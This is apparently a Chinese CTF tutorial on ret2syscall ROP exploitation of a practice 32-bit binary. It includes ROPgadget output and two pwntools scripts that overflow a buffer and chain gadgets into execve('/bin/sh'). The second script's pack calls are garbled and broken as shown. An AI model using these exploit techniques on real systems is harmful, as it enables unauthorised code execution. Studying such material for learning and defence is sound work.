检查程序防护和基本信息
注意到此时开启了NX防护,所以无法使IP寄存器指向堆,栈。另外,注意这是statically linked
(静态链接)
调试分析后,知道与之前一样同样在112个字节后同样可以控制返回地址,那怎么获得shell呢?
我们要思考,让程序跳转到什么地方呢?
由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
首先,我们来寻找控制 eax 的 gadgets
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。
类似的,我们可以得到控制其它寄存器的 gadgets
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
这里,我选择
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
这个可以直接控制其它三个寄存器。
此外,我们需要获得 /bin/sh 字符串对应的地址。
➜ ret2syscall ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
可以找到对应的地址,此外,还有 int 0x80 的地址,如下
➜ ret2syscall ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
同时,也找到对应的地址了。
下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。
0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x080be408 : /bin/sh
0x08049421 : int 0x80
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
另外也可以利用ROPgadget自动生成ROP链
ROPgadget --binary rop --ropchai
from struct import pack
# Padding goes here
p = ''
p += pack(', 0x0806eb6a) # pop edx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack(', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806eb6a) # pop edx ; ret
p += pack(', 0x080ea064) # @ .data + 4
p += pack(', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack(', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806eb6a) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x08054590) # xor eax, eax ; ret
p += pack(', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(', 0x080481c9) # pop ebx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x080ea060) # padding without overwrite ebx
p += pack(', 0x0806eb6a) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x08054590) # xor eax, eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x08049421) # int 0x80
from pwn import *
r = process('./rop')
r.sendline('a'*112 + p)
r.interactive()